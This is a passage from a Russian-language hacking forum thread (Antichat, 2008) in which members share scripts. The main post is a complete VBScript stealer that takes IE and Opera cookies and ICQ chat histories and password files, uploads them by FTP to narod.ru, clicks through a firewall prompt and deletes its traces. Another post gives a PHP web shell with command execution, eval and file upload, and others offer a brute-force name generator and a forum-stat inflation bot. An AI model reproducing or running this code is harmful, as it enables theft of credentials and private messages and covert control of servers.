ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #531  
Старый 12.12.2008, 03:25
Аватар для Olegros911
Olegros911
Участник форума
Регистрация: 07.04.2008
Сообщений: 166
Провел на форуме:
1116075

Репутация: 68
Отправить сообщение для Olegros911 с помощью ICQ
По умолчанию

и прям этож php причем здесь опера то????????????
 
Ответить с цитированием

  #532  
Старый 12.12.2008, 03:31
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

пепец, прочитать описание под скриптом нельзя чтоль? =)

php скрипт только формирует код на яваскрипте, который уже в оперу вставляется =)
 
Ответить с цитированием

  #533  
Старый 12.12.2008, 03:47
Аватар для b3
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

Solker,
Цитата:
Поднятие времени проведенного за чтением форума, ака увлечение значения «Провел на форуме».
PHP код:
<?php
ignore_user_abort
();
set_time_limit(0);
for (
$i=0$i<9999$i++) {
$url "http://forum.antichat.ru/member.php?u=2674";
$ua "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$ref "http://forum.antichat.ru/";
$cookie "ВАШИ КУКИ ";
$ch curl_init($url);
curl_setopt($chCURLOPT_USERAGENT$ua);
curl_setopt($chCURLOPT_COOKIE$cookie);
curl_setopt($chCURLOPT_REFERER$ref);
curl_setopt($chCURLOPT_RETURNTRANSFER0);
$res curl_exec($ch);
sleep(60);
}
?>
Через cronjob.ru и нет проблемм)) Прошел 4х часовый тест.

А вот несколько раз нужно было сгенерировать 3х значные ники для брута коротких имейлов.
PHP код:
<?php 
$fp2 
fopen("3d_mail.txt""w"); 
$str 'abcdefghijklmnopqrstuvwxyz0123456789'
for (
$iii=0$iii<strlen($str); $iii++) { 
for (
$ii=0$ii<strlen($str); $ii++) { 
for (
$i=0$i<strlen($str); $i++) { 
fputs($fp2$str[$i].$str[$ii].$str[$iii]."\r\n"); 
}}} 
fclose($fp2); 
?>
 
Ответить с цитированием

  #534  
Старый 12.12.2008, 08:59
Аватар для GreenBear
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

Цитата:
for ($i=0; $i<9999; $i++) {
у тебя что while украли
 
Ответить с цитированием

VBS: - тырим cookie IE, Opera и ICQ данные и отсылаем на FTP на narod.ru
  #535  
Старый 16.12.2008, 17:07
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию VBS: - тырим cookie IE, Opera и ICQ данные и отсылаем на FTP на narod.ru

Новая версия, изменения (значительные):

1. Всё стало архивирироваться посредством встроенного в windows архиватора zip (т.е. мы теперь не зависим от наличия в системе WINRAR или любого другого архиватора)
2. Исправлены ошибки в передачи файлов по FTP - теперь архивы не битые и рабочие
3. Отчеты пакуются не в один архив, как раньше, а в несколько, по названию архива можно понять его содержимое. Сделано с целью уменьшения вероятности потери файлов большого объема при передаче по FTP (т.е. даже если связь оборвется, какая-то информация всё-таки успеет отослаться)
4. В данной версия тыряца и архивируются в архив .zip с уникальным названием и отсылаются на FTP следующие вещи:
- куки от IE
- куки от Opera
- Messages.mdb - история переписки ICQ (проверено только на ICQ6, не работает, если клиент ICQ6 запущен во время выполнения скрипта)
- Owner.mdb - файл паролей и контактов ICQ (проверено только на ICQ6, не работает, если клиент ICQ6 запущен во время выполнения скрипта)

В итоге при правильной работе скрипта у вас должно получиться 4 архива.

>>СКАЧАТЬ (пароль 123)<<

Ниже исходники:

Код:
Const FOF_SIMPLEPROGRESS = 256 
Dim MySource, MyTarget, MyHex, MyBinary, i 
Dim oShell, oCTF 
Dim oFileSys 
dim winShell 
dim newfolderpath
dim t
On Error Resume Next
'Создаем временную папку для записи нужных нам результатов (лучше, если название будет УНИКАЛЬНОЕ, чтобы не было конфликтов)
'==========================================================
h = Hour(Now)
m = Minute(Now)
s = Second(Now)
t = date() & "-" & h & "-" & m & "-" & s
dim filesys, newfolder 
newfolderpath = "c:\12345" ' Название временной папки
ICQ = 123456 'Номер ICQ, который хотим похекать
set filesys=CreateObject("Scripting.FileSystemObject") 
If Not filesys.FolderExists(newfolderpath) Then 
   Set newfolder = filesys.CreateFolder(newfolderpath) 
End If
set filesys=Nothing
Set newfolder=Nothing
'==========================================================
' Тырим куки OPERA
set WshShell1 = WScript.CreateObject("WScript.Shell") 
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\Opera\Opera\profile\cookies4.dat" 'Тут указываем, то что архивируем.
MySource = filePath
MyTarget = newfolderpath & "\" & t & "-" & "opera_cookie.zip"
archPath_OPERA = t & "-" & "opera_cookie.zip"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) 
For i = 0 To UBound(MyHex) 
MyBinary = MyBinary & Chr(MyHex(i)) 
Next 
Set oShell = CreateObject("WScript.Shell") 
Set oFileSys = CreateObject("Scripting.FileSystemObject") 
Set oCTF = oFileSys.CreateTextFile(MyTarget, True) 
oCTF.Write MyBinary 
oCTF.Close 
Set oCTF = Nothing 
set winShell = createObject("shell.application") 
winShell.namespace(MyTarget).CopyHere MySource 
wScript.Sleep(5000)
Set oFileSys = Nothing
Set oShell = Nothing
set WshShell = Nothing
set WshShell1 = Nothing
'==========================================================
' Тырим куки IE
Const ForReading = 1, ForWriting = 2, ForAppending = 8 
Dim MyZipName 
Dim oApp, oFolder, oFile 
set WshShell1 = WScript.CreateObject("WScript.Shell") 
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Cookies" 'Тут указываем, то что архивируем.
set WshShell1 = Nothing
MySource = filePath
MyTarget = newfolderpath & "\" & t & "-" & "ie_cookie.zip"
archPath_IE = t & "-" & "ie_cookie.zip"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) 
For i = 0 To UBound(MyHex) 
MyBinary = MyBinary & Chr(MyHex(i)) 
Next 
Set oShell = CreateObject("WScript.Shell") 
Set oFileSys = CreateObject("Scripting.FileSystemObject") 
Set oCTF = oFileSys.CreateTextFile(MyTarget, True) 
oCTF.Write MyBinary 
oCTF.Close 
Set oCTF = Nothing 
Set oApp = CreateObject("Shell.Application") 
Set oFolder = oApp.NameSpace(MySource) 
If Not oFolder Is Nothing Then 
oApp.NameSpace(MyTarget).CopyHere oFolder.Items 
End If 
wScript.Sleep(5000) 
Set oFile = Nothing 
On Error Resume Next 
Do While (oFile Is Nothing) 
Set oFile = oFileSys.OpenTextFile(MyTarget, ForAppending, False) 
If Err.number <> 0 then 
Err.Clear 
wScript.Sleep 3000 
End If 
Loop 
Set oFile=Nothing 
Set oFileSys=Nothing
'==========================================================
' Тырим переписку ICQ
set WshShell1 = WScript.CreateObject("WScript.Shell") 
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\ICQ\" & ICQ & "\Messages.mdb" 'Тут указываем, то что архивируем.
MySource = filePath
MyTarget = newfolderpath & "\" & t & "-" & "ICQ_Messages.zip"
archPath_ICQ_history = t & "-" & "ICQ_Messages.zip"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) 
For i = 0 To UBound(MyHex) 
MyBinary = MyBinary & Chr(MyHex(i)) 
Next 
Set oShell = CreateObject("WScript.Shell") 
Set oFileSys = CreateObject("Scripting.FileSystemObject") 
Set oCTF = oFileSys.CreateTextFile(MyTarget, True) 
oCTF.Write MyBinary 
oCTF.Close 
Set oCTF = Nothing 
set winShell = createObject("shell.application") 
winShell.namespace(MyTarget).CopyHere MySource 
wScript.Sleep(5000)
Set oFileSys = Nothing
Set oShell = Nothing
set WshShell = Nothing
set WshShell1 = Nothing
'==========================================================
' Тырим файл с контактами и паролем ICQ
set WshShell1 = WScript.CreateObject("WScript.Shell") 
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\ICQ\" & ICQ & "\Owner.mdb" 'Тут указываем, то что архивируем.
MySource = filePath
MyTarget = newfolderpath & "\" & t & "-" & "ICQ_Owner.zip"
archPath_ICQ_pass = t & "-" & "ICQ_Owner.zip"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) 
For i = 0 To UBound(MyHex) 
MyBinary = MyBinary & Chr(MyHex(i)) 
Next 
Set oShell = CreateObject("WScript.Shell") 
Set oFileSys = CreateObject("Scripting.FileSystemObject") 
Set oCTF = oFileSys.CreateTextFile(MyTarget, True) 
oCTF.Write MyBinary 
oCTF.Close 
Set oCTF = Nothing 
set winShell = createObject("shell.application") 
winShell.namespace(MyTarget).CopyHere MySource 
wScript.Sleep(5000)
Set oFileSys = Nothing
Set oShell = Nothing
set WshShell = Nothing
set WshShell1 = Nothing
'==========================================================
'Отсылаем на ФТП на narod.ru
'Создаем файл сценария для FTP.EXE 
set FSO = CreateObject("Scripting.FileSystemObject") 
Set WSHshell = WScript.CreateObject("WScript.Shell") 
Set sDir = WSHshell.Environment("Process")    ' - находим путь к папке Windows 
Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr")  '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз) 
cScript.WriteLine "Open ftp.narod.ru" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту 
cScript.WriteLine "User" '- Имя пользователя 
cScript.WriteLine "Password" '- Пароль 
cScript.WriteLine "drive C:" '- Выбраем диск С
cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные
cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу
cScript.WriteLine "binary" ' - метод передачи файлов по FTP
cScript.WriteLine "PUT " & archPath_IE '- Отправляем куки от IE
cScript.WriteLine "PUT " & archPath_OPERA   '- Отправляем куки от OPERA
cScript.WriteLine "PUT " & archPath_ICQ_history   '- Отправляем историю переписки ICQ
cScript.WriteLine "PUT " & archPath_ICQ_pass   '- Отправляем файл паролей и контактов ICQ
cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru 
cScript.Close '- Конец записи в файл сценария 
' Запускаем FTP-сценарий 
WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
' Обходим фаер (в данном случае Outpost, если не надо, закоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
set w=CreateObject("WScript.Shell")
a=0
do
r=W.AppActivate("ftp.exe")
if r then
a=1
w.SendKeys "{tab 2}"
w.SendKeys "{enter}"
end if
loop until a=1
set w=Nothing
'---------------------------
Set fso = Nothing 
Set WSHshell  = Nothing 
'==========================================================
'Заметаем следы (удаляем временную папку с нашими палевными архивами)
WScript.Sleep 60000 'Задаем паузу, чтобы успело скопироваться на ФТП - чем больше, тем надежней, в данном случае 1 минута
set FSO = CreateObject("Scripting.FileSystemObject") 
Set MyFile = fso.GetFolder(newfolderpath)
MyFile.Delete
Set FSO = Nothing 
Set MyFile  = Nothing 
Wscript.Quit ' -выход

Последний раз редактировалось Pashkela; 16.12.2008 в 17:10..
 
Ответить с цитированием

PHP - функция по замене только первого найденного совпадения по шаблону в строке
  #536  
Старый 16.12.2008, 18:47
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию PHP - функция по замене только первого найденного совпадения по шаблону в строке

PHP код:
<?
/* Функция по замене только первого найденного совпадения*/
function first($str,$chto_meniaem,$na_chto_meniaem)
{
$iparr split ($chto_meniaem$str);
$count=count($iparr) . "\r\n";
echo 
$iparr[0];
for (
$i=0;$i<=$count;$i++)
{
if (
$i==1){$iparr[1]=$na_chto_meniaem;echo $iparr[1];}
else 
{
if (empty(
$iparr[$i])){$iparr[$i]=$chto_meniaem;echo $iparr[$i];}
}
}
echo 
$iparr[$count-1];
}

/* Пример использования*/
$msg="рудик вахтанг <<<<<<<<< дыня, арбуз, и т.п.";
$meniaem '<';
$zamena 'ord("<")';
echo 
$msg "\r\n";

echo 
first($msg,$meniaem,$zamena) . "\r\n";
?>
 
Ответить с цитированием

  #537  
Старый 16.12.2008, 19:00
Аватар для astrologer
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

Цитата:
Сообщение от Pashkela  
Функция по замене только первого найденного совпадения
PHP код:
<?php
echo preg_replace('/</''ord("<")''<<<<<<<<<'1); // Четвёртый параметр именно для этого и придумали.
?>
 
Ответить с цитированием

  #538  
Старый 17.12.2008, 15:34
Аватар для -Hormold-
-Hormold-
Постоянный
Регистрация: 29.09.2007
Сообщений: 617
Провел на форуме:
3250478

Репутация: 999


Отправить сообщение для -Hormold- с помощью ICQ
По умолчанию

Очень простой шелл
PHP код:
<?
echo 'OS : '.@substr(@php_uname(),0,120).'<br>';
echo 
'User : '.get_current_user().'';
?>
<FORM METHOD=GET><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" value="EXEC"></FORM>
<FORM METHOD=GET><INPUT TYPE="text" NAME="eval"><INPUT TYPE="submit" value="EVAL"></FORM>
<FORM METHOD=GET><INPUT TYPE="text" NAME="unlink"><INPUT TYPE="submit" value="unlink"></FORM>
<FORM METHOD=GET><INPUT TYPE="text" NAME="upload"> to: <INPUT TYPE="text" NAME="to"><INPUT TYPE="submit" value="upload"></FORM>
<pre>
<?
if($_GET['cmd']){echo exec($_GET['cmd']);}
if(
$_GET['eval']){echo eval($_GET['eval']);}
if(
$_GET['unlink']){echo unlink($_GET['unlink']);}
if(
$_GET['upload']){$f=file_get_contents($_GET['upload']);$fp=fopen($_GET['to'],"w");fwrite($fp,$f);fclose($fp);}
?>
</pre>
BackDoor.CMD.11 by Hormold
Палит Dr.Web, т.к. выслал им для проверки оперативности...

Последний раз редактировалось -Hormold-; 17.12.2008 в 15:53..
 
Ответить с цитированием

Socks-checker (PHP)
  #539  
Старый 18.12.2008, 21:52
Аватар для ntldr
ntldr
Постоянный
Регистрация: 04.12.2007
Сообщений: 424
Провел на форуме:
2364957

Репутация: 479
По умолчанию Socks-checker (PHP)

(Задание)
Скрипт работает в один поток (через сокеты, без использования curl). Для проверки сокса, он отправляет 3 байта - 0x05 0x01 0x00, результат (работает или нет), получаем исходя из ответа сервера.
Сам скрипт

сорри, я написал в приват а потом нашел этот псто здесь))

Последний раз редактировалось ntldr; 18.12.2008 в 22:44..
 
Ответить с цитированием

  #540  
Старый 19.12.2008, 02:28
Аватар для Nono
Nono
Новичок
Регистрация: 21.07.2008
Сообщений: 4
Провел на форуме:
29294

Репутация: 1
По умолчанию

Можно скрипт которой показает папки данново сайта.
Пример: Я хочу знать какие папки есть на сайт www.abv.bg
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ